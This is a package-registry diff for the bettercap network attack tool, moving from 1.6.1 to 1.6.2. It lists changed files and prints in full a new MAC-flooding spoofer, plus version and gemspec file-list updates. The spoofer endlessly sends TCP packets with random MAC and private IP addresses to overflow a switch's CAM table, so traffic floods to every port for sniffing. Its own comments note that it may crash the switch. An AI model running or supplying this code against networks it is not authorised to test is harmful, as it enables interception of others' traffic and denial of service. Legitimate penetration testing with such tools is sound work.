bettercap 1.6.1 → 1.6.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
 - data/README.md +33 -34
 - data/bin/bettercap +1 -1
 - data/lib/bettercap/context.rb +1 -1
 - data/lib/bettercap/discovery/agents/mdns.rb +61 -0
 - data/lib/bettercap/discovery/agents/upnp.rb +60 -0
 - data/lib/bettercap/discovery/agents/wsd.rb +75 -0
 - data/lib/bettercap/firewalls/linux.rb +0 -4
 - data/lib/bettercap/logger.rb +63 -34
 - data/lib/bettercap/network/network.rb +1 -1
 - data/lib/bettercap/options/core_options.rb +1 -1
 - data/lib/bettercap/proxy/http/modules/redirect.rb +1 -1
 - data/lib/bettercap/proxy/http/proxy.rb +1 -9
 - data/lib/bettercap/proxy/http/sslstrip/strip.rb +5 -5
 - data/lib/bettercap/sniffer/parsers/asterisk.rb +37 -0
 - data/lib/bettercap/sniffer/parsers/bfd.rb +159 -0
 - data/lib/bettercap/sniffer/parsers/dhcp.rb +23 -23
 - data/lib/bettercap/sniffer/parsers/dict.rb +13 -11
 - data/lib/bettercap/sniffer/parsers/hsrp.rb +262 -0
 - data/lib/bettercap/sniffer/parsers/https.rb +17 -19
 - data/lib/bettercap/sniffer/parsers/mpd.rb +12 -10
 - data/lib/bettercap/sniffer/parsers/nntp.rb +5 -1
 - data/lib/bettercap/sniffer/parsers/post.rb +8 -9
 - data/lib/bettercap/sniffer/parsers/radius.rb +410 -0
 - data/lib/bettercap/sniffer/parsers/redis.rb +15 -13
 - data/lib/bettercap/sniffer/parsers/rlogin.rb +20 -19
 - data/lib/bettercap/sniffer/parsers/snmp.rb +16 -17
 - data/lib/bettercap/sniffer/parsers/snpp.rb +13 -11
 - data/lib/bettercap/sniffer/parsers/teamtalk.rb +41 -0
 - data/lib/bettercap/sniffer/parsers/teamviewer.rb +8 -8
 - data/lib/bettercap/sniffer/parsers/url.rb +6 -6
 - data/lib/bettercap/sniffer/parsers/whatsapp.rb +6 -7
 - data/lib/bettercap/sniffer/parsers/wol.rb +68 -0
 - data/lib/bettercap/spoofers/arp.rb +3 -3
 - data/lib/bettercap/spoofers/hsrp.rb +351 -0
 - data/lib/bettercap/spoofers/mac.rb +126 -0
 - data/lib/bettercap/version.rb +1 -1
 - metadata +13 -2
 
| 
         @@ -0,0 +1,126 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            # encoding: UTF-8
         
     | 
| 
      
 2 
     | 
    
         
            +
            =begin
         
     | 
| 
      
 3 
     | 
    
         
            +
             
     | 
| 
      
 4 
     | 
    
         
            +
            BETTERCAP
         
     | 
| 
      
 5 
     | 
    
         
            +
             
     | 
| 
      
 6 
     | 
    
         
            +
            Author : Simone 'evilsocket' Margaritelli
         
     | 
| 
      
 7 
     | 
    
         
            +
            Email  : evilsocket@gmail.com
         
     | 
| 
      
 8 
     | 
    
         
            +
            Blog   : https://www.evilsocket.net/
         
     | 
| 
      
 9 
     | 
    
         
            +
             
     | 
| 
      
 10 
     | 
    
         
            +
            MAC spoofer:
         
     | 
| 
      
 11 
     | 
    
         
            +
              Author : Brendan Coles
         
     | 
| 
      
 12 
     | 
    
         
            +
              Email  : bcoles[at]gmail.com
         
     | 
| 
      
 13 
     | 
    
         
            +
             
     | 
| 
      
 14 
     | 
    
         
            +
            This project is released under the GPL 3 license.
         
     | 
| 
      
 15 
     | 
    
         
            +
             
     | 
| 
      
 16 
     | 
    
         
            +
            =end
         
     | 
| 
      
 17 
     | 
    
         
            +
             
     | 
| 
      
 18 
     | 
    
         
            +
            module BetterCap
         
     | 
| 
      
 19 
     | 
    
         
            +
            module Spoofers
         
     | 
| 
      
 20 
     | 
    
         
            +
            #
         
     | 
| 
      
 21 
     | 
    
         
            +
            # This class is responsible for performing MAC address flooding on the network.
         
     | 
| 
      
 22 
     | 
    
         
            +
            #
         
     | 
| 
      
 23 
     | 
    
         
            +
            # This spoofer continuously floods the network with empty TCP
         
     | 
| 
      
 24 
     | 
    
         
            +
            # packets with randomised source and destination MAC addresses
         
     | 
| 
      
 25 
     | 
    
         
            +
            # to fill the switch's Content Addressable Memory (CAM) table.
         
     | 
| 
      
 26 
     | 
    
         
            +
            #
         
     | 
| 
      
 27 
     | 
    
         
            +
            # If the network switch is vulnerable, no new MAC addresses
         
     | 
| 
      
 28 
     | 
    
         
            +
            # will be learned, causing the switch to fail open and broadcast
         
     | 
| 
      
 29 
     | 
    
         
            +
            # traffic out on all ports.
         
     | 
| 
      
 30 
     | 
    
         
            +
            #
         
     | 
| 
      
 31 
     | 
    
         
            +
            # This spoofer does not facilitate Man-in-the-Middle attacks,
         
     | 
| 
      
 32 
     | 
    
         
            +
            # however, if successful, will allow the sniffer to view packets
         
     | 
| 
      
 33 
     | 
    
         
            +
            # destined for any network port on the switch.
         
     | 
| 
      
 34 
     | 
    
         
            +
            #
         
     | 
| 
      
 35 
     | 
    
         
            +
            # Note: this spoofer may crash the switch,
         
     | 
| 
      
 36 
     | 
    
         
            +
            #       resulting in denial of service.
         
     | 
| 
      
 37 
     | 
    
         
            +
            #
         
     | 
| 
      
 38 
     | 
    
         
            +
            # References:
         
     | 
| 
      
 39 
     | 
    
         
            +
            # - https://en.wikipedia.org/wiki/MAC_flooding
         
     | 
| 
      
 40 
     | 
    
         
            +
            # - https://en.wikipedia.org/wiki/Forwarding_information_base
         
     | 
| 
      
 41 
     | 
    
         
            +
            # - http://www.ciscopress.com/articles/article.asp?p=1681033&seqNum=2
         
     | 
| 
      
 42 
     | 
    
         
            +
            #
         
     | 
| 
      
 43 
     | 
    
         
            +
            class MAC < Base
         
     | 
| 
      
 44 
     | 
    
         
            +
              # Initialize the BetterCap::Spoofers::MAC object.
         
     | 
| 
      
 45 
     | 
    
         
            +
              def initialize
         
     | 
| 
      
 46 
     | 
    
         
            +
                @ctx          = Context.get
         
     | 
| 
      
 47 
     | 
    
         
            +
                @flood_thread = nil
         
     | 
| 
      
 48 
     | 
    
         
            +
                @running      = false
         
     | 
| 
      
 49 
     | 
    
         
            +
             
     | 
| 
      
 50 
     | 
    
         
            +
                update_gateway!
         
     | 
| 
      
 51 
     | 
    
         
            +
              end
         
     | 
| 
      
 52 
     | 
    
         
            +
             
     | 
| 
      
 53 
     | 
    
         
            +
              # Start the MAC spoofing
         
     | 
| 
      
 54 
     | 
    
         
            +
              def start
         
     | 
| 
      
 55 
     | 
    
         
            +
                Logger.debug 'Starting MAC spoofer ...'
         
     | 
| 
      
 56 
     | 
    
         
            +
             
     | 
| 
      
 57 
     | 
    
         
            +
                stop() if @running
         
     | 
| 
      
 58 
     | 
    
         
            +
                @running = true
         
     | 
| 
      
 59 
     | 
    
         
            +
             
     | 
| 
      
 60 
     | 
    
         
            +
                @flood_thread = Thread.new { mac_flood }
         
     | 
| 
      
 61 
     | 
    
         
            +
              end
         
     | 
| 
      
 62 
     | 
    
         
            +
             
     | 
| 
      
 63 
     | 
    
         
            +
              # Stop the MAC spoofing
         
     | 
| 
      
 64 
     | 
    
         
            +
              def stop
         
     | 
| 
      
 65 
     | 
    
         
            +
                raise 'MAC spoofer is not running' unless @running
         
     | 
| 
      
 66 
     | 
    
         
            +
             
     | 
| 
      
 67 
     | 
    
         
            +
                Logger.debug 'Stopping MAC spoofer ...'
         
     | 
| 
      
 68 
     | 
    
         
            +
             
     | 
| 
      
 69 
     | 
    
         
            +
                @running = false
         
     | 
| 
      
 70 
     | 
    
         
            +
                begin
         
     | 
| 
      
 71 
     | 
    
         
            +
                  @flood_thread.exit
         
     | 
| 
      
 72 
     | 
    
         
            +
                rescue
         
     | 
| 
      
 73 
     | 
    
         
            +
                end
         
     | 
| 
      
 74 
     | 
    
         
            +
              end
         
     | 
| 
      
 75 
     | 
    
         
            +
             
     | 
| 
      
 76 
     | 
    
         
            +
              private
         
     | 
| 
      
 77 
     | 
    
         
            +
             
     | 
| 
      
 78 
     | 
    
         
            +
              # Main spoofer loop
         
     | 
| 
      
 79 
     | 
    
         
            +
              def mac_flood
         
     | 
| 
      
 80 
     | 
    
         
            +
                while true
         
     | 
| 
      
 81 
     | 
    
         
            +
                  send_tcp_pkt rand_rfc1918_ip, rand_mac, rand_rfc1918_ip, rand_mac
         
     | 
| 
      
 82 
     | 
    
         
            +
                end
         
     | 
| 
      
 83 
     | 
    
         
            +
              end
         
     | 
| 
      
 84 
     | 
    
         
            +
             
     | 
| 
      
 85 
     | 
    
         
            +
              # Generate a random MAC address
         
     | 
| 
      
 86 
     | 
    
         
            +
              def rand_mac
         
     | 
| 
      
 87 
     | 
    
         
            +
                [format('%0.2x', rand(256) & ~1), (1..5).map { format('%0.2x', rand(256)) }].join(':')
         
     | 
| 
      
 88 
     | 
    
         
            +
              end
         
     | 
| 
      
 89 
     | 
    
         
            +
             
     | 
| 
      
 90 
     | 
    
         
            +
              # Generate a random RFC1918 IP address
         
     | 
| 
      
 91 
     | 
    
         
            +
              def rand_rfc1918_ip
         
     | 
| 
      
 92 
     | 
    
         
            +
                case rand(3)
         
     | 
| 
      
 93 
     | 
    
         
            +
                when 0
         
     | 
| 
      
 94 
     | 
    
         
            +
                  ip = ['10', (0...256).to_a.sample, (0...256).to_a.sample, (1...256).to_a.sample]
         
     | 
| 
      
 95 
     | 
    
         
            +
                when 1
         
     | 
| 
      
 96 
     | 
    
         
            +
                  ip = ['172', (16...32).to_a.sample, (0...256).to_a.sample, (1...256).to_a.sample]
         
     | 
| 
      
 97 
     | 
    
         
            +
                when 2
         
     | 
| 
      
 98 
     | 
    
         
            +
                  ip = ['192', '168', (0...256).to_a.sample, (1...256).to_a.sample]
         
     | 
| 
      
 99 
     | 
    
         
            +
                end
         
     | 
| 
      
 100 
     | 
    
         
            +
                ip.join('.')
         
     | 
| 
      
 101 
     | 
    
         
            +
              end
         
     | 
| 
      
 102 
     | 
    
         
            +
             
     | 
| 
      
 103 
     | 
    
         
            +
              # Generate a random port above 1024
         
     | 
| 
      
 104 
     | 
    
         
            +
              def rand_port
         
     | 
| 
      
 105 
     | 
    
         
            +
                (rand((2 ** 16) - 1024) + 1024).to_i
         
     | 
| 
      
 106 
     | 
    
         
            +
              end
         
     | 
| 
      
 107 
     | 
    
         
            +
             
     | 
| 
      
 108 
     | 
    
         
            +
              # Send an empty TCP packet from +saddr+ IP address to +daddr+ IP address
         
     | 
| 
      
 109 
     | 
    
         
            +
              # with +smac+ source MAC address and +dmac+ destination MAC address.
         
     | 
| 
      
 110 
     | 
    
         
            +
              def send_tcp_pkt(saddr, smac, daddr, dmac)
         
     | 
| 
      
 111 
     | 
    
         
            +
                pkt = PacketFu::TCPPacket.new
         
     | 
| 
      
 112 
     | 
    
         
            +
                pkt.eth_saddr = smac
         
     | 
| 
      
 113 
     | 
    
         
            +
                pkt.eth_daddr = dmac
         
     | 
| 
      
 114 
     | 
    
         
            +
             
     | 
| 
      
 115 
     | 
    
         
            +
                pkt.ip_saddr = saddr
         
     | 
| 
      
 116 
     | 
    
         
            +
                pkt.ip_daddr = daddr
         
     | 
| 
      
 117 
     | 
    
         
            +
                pkt.ip_recalc
         
     | 
| 
      
 118 
     | 
    
         
            +
             
     | 
| 
      
 119 
     | 
    
         
            +
                pkt.tcp_src = rand_port
         
     | 
| 
      
 120 
     | 
    
         
            +
                pkt.tcp_dst = rand_port
         
     | 
| 
      
 121 
     | 
    
         
            +
             
     | 
| 
      
 122 
     | 
    
         
            +
                @ctx.packets.push(pkt)
         
     | 
| 
      
 123 
     | 
    
         
            +
              end
         
     | 
| 
      
 124 
     | 
    
         
            +
            end
         
     | 
| 
      
 125 
     | 
    
         
            +
            end
         
     | 
| 
      
 126 
     | 
    
         
            +
            end
         
     | 
    
        data/lib/bettercap/version.rb
    CHANGED
    
    | 
         @@ -12,7 +12,7 @@ This project is released under the GPL 3 license. 
     | 
|
| 
       12 
12 
     | 
    
         
             
            =end
         
     | 
| 
       13 
13 
     | 
    
         
             
            module BetterCap
         
     | 
| 
       14 
14 
     | 
    
         
             
              # Current version of bettercap.
         
     | 
| 
       15 
     | 
    
         
            -
              VERSION = '1.6. 
     | 
| 
      
 15 
     | 
    
         
            +
              VERSION = '1.6.2'
         
     | 
| 
       16 
16 
     | 
    
         
             
              # Program banner.
         
     | 
| 
       17 
17 
     | 
    
         
             
              BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
         
     | 
| 
       18 
18 
     | 
    
         
             
            end
         
     | 
    
        metadata
    CHANGED
    
    | 
         @@ -1,14 +1,14 @@ 
     | 
|
| 
       1 
1 
     | 
    
         
             
            --- !ruby/object:Gem::Specification
         
     | 
| 
       2 
2 
     | 
    
         
             
            name: bettercap
         
     | 
| 
       3 
3 
     | 
    
         
             
            version: !ruby/object:Gem::Version
         
     | 
| 
       4 
     | 
    
         
            -
              version: 1.6. 
     | 
| 
      
 4 
     | 
    
         
            +
              version: 1.6.2
         
     | 
| 
       5 
5 
     | 
    
         
             
            platform: ruby
         
     | 
| 
       6 
6 
     | 
    
         
             
            authors:
         
     | 
| 
       7 
7 
     | 
    
         
             
            - Simone Margaritelli
         
     | 
| 
       8 
8 
     | 
    
         
             
            autorequire: 
         
     | 
| 
       9 
9 
     | 
    
         
             
            bindir: bin
         
     | 
| 
       10 
10 
     | 
    
         
             
            cert_chain: []
         
     | 
| 
       11 
     | 
    
         
            -
            date: 2017- 
     | 
| 
      
 11 
     | 
    
         
            +
            date: 2017-08-21 00:00:00.000000000 Z
         
     | 
| 
       12 
12 
     | 
    
         
             
            dependencies:
         
     | 
| 
       13 
13 
     | 
    
         
             
            - !ruby/object:Gem::Dependency
         
     | 
| 
       14 
14 
     | 
    
         
             
              name: colorize
         
     | 
| 
         @@ -168,8 +168,11 @@ files: 
     | 
|
| 
       168 
168 
     | 
    
         
             
            - lib/bettercap/discovery/agents/arp.rb
         
     | 
| 
       169 
169 
     | 
    
         
             
            - lib/bettercap/discovery/agents/base.rb
         
     | 
| 
       170 
170 
     | 
    
         
             
            - lib/bettercap/discovery/agents/icmp.rb
         
     | 
| 
      
 171 
     | 
    
         
            +
            - lib/bettercap/discovery/agents/mdns.rb
         
     | 
| 
       171 
172 
     | 
    
         
             
            - lib/bettercap/discovery/agents/ndp.rb
         
     | 
| 
       172 
173 
     | 
    
         
             
            - lib/bettercap/discovery/agents/udp.rb
         
     | 
| 
      
 174 
     | 
    
         
            +
            - lib/bettercap/discovery/agents/upnp.rb
         
     | 
| 
      
 175 
     | 
    
         
            +
            - lib/bettercap/discovery/agents/wsd.rb
         
     | 
| 
       173 
176 
     | 
    
         
             
            - lib/bettercap/discovery/thread.rb
         
     | 
| 
       174 
177 
     | 
    
         
             
            - lib/bettercap/error.rb
         
     | 
| 
       175 
178 
     | 
    
         
             
            - lib/bettercap/firewalls/base.rb
         
     | 
| 
         @@ -231,12 +234,15 @@ files: 
     | 
|
| 
       231 
234 
     | 
    
         
             
            - lib/bettercap/proxy/udp/pool.rb
         
     | 
| 
       232 
235 
     | 
    
         
             
            - lib/bettercap/proxy/udp/proxy.rb
         
     | 
| 
       233 
236 
     | 
    
         
             
            - lib/bettercap/shell.rb
         
     | 
| 
      
 237 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/asterisk.rb
         
     | 
| 
       234 
238 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/base.rb
         
     | 
| 
      
 239 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/bfd.rb
         
     | 
| 
       235 
240 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/cookie.rb
         
     | 
| 
       236 
241 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/custom.rb
         
     | 
| 
       237 
242 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/dhcp.rb
         
     | 
| 
       238 
243 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/dict.rb
         
     | 
| 
       239 
244 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/ftp.rb
         
     | 
| 
      
 245 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/hsrp.rb
         
     | 
| 
       240 
246 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/httpauth.rb
         
     | 
| 
       241 
247 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/https.rb
         
     | 
| 
       242 
248 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/irc.rb
         
     | 
| 
         @@ -247,17 +253,22 @@ files: 
     | 
|
| 
       247 
253 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/ntlmss.rb
         
     | 
| 
       248 
254 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/pgsql.rb
         
     | 
| 
       249 
255 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/post.rb
         
     | 
| 
      
 256 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/radius.rb
         
     | 
| 
       250 
257 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/redis.rb
         
     | 
| 
       251 
258 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/rlogin.rb
         
     | 
| 
       252 
259 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/snmp.rb
         
     | 
| 
       253 
260 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/snpp.rb
         
     | 
| 
      
 261 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/teamtalk.rb
         
     | 
| 
       254 
262 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/teamviewer.rb
         
     | 
| 
       255 
263 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/url.rb
         
     | 
| 
       256 
264 
     | 
    
         
             
            - lib/bettercap/sniffer/parsers/whatsapp.rb
         
     | 
| 
      
 265 
     | 
    
         
            +
            - lib/bettercap/sniffer/parsers/wol.rb
         
     | 
| 
       257 
266 
     | 
    
         
             
            - lib/bettercap/sniffer/sniffer.rb
         
     | 
| 
       258 
267 
     | 
    
         
             
            - lib/bettercap/spoofers/arp.rb
         
     | 
| 
       259 
268 
     | 
    
         
             
            - lib/bettercap/spoofers/base.rb
         
     | 
| 
      
 269 
     | 
    
         
            +
            - lib/bettercap/spoofers/hsrp.rb
         
     | 
| 
       260 
270 
     | 
    
         
             
            - lib/bettercap/spoofers/icmp.rb
         
     | 
| 
      
 271 
     | 
    
         
            +
            - lib/bettercap/spoofers/mac.rb
         
     | 
| 
       261 
272 
     | 
    
         
             
            - lib/bettercap/spoofers/ndp.rb
         
     | 
| 
       262 
273 
     | 
    
         
             
            - lib/bettercap/spoofers/none.rb
         
     | 
| 
       263 
274 
     | 
    
         
             
            - lib/bettercap/update_checker.rb
         
     |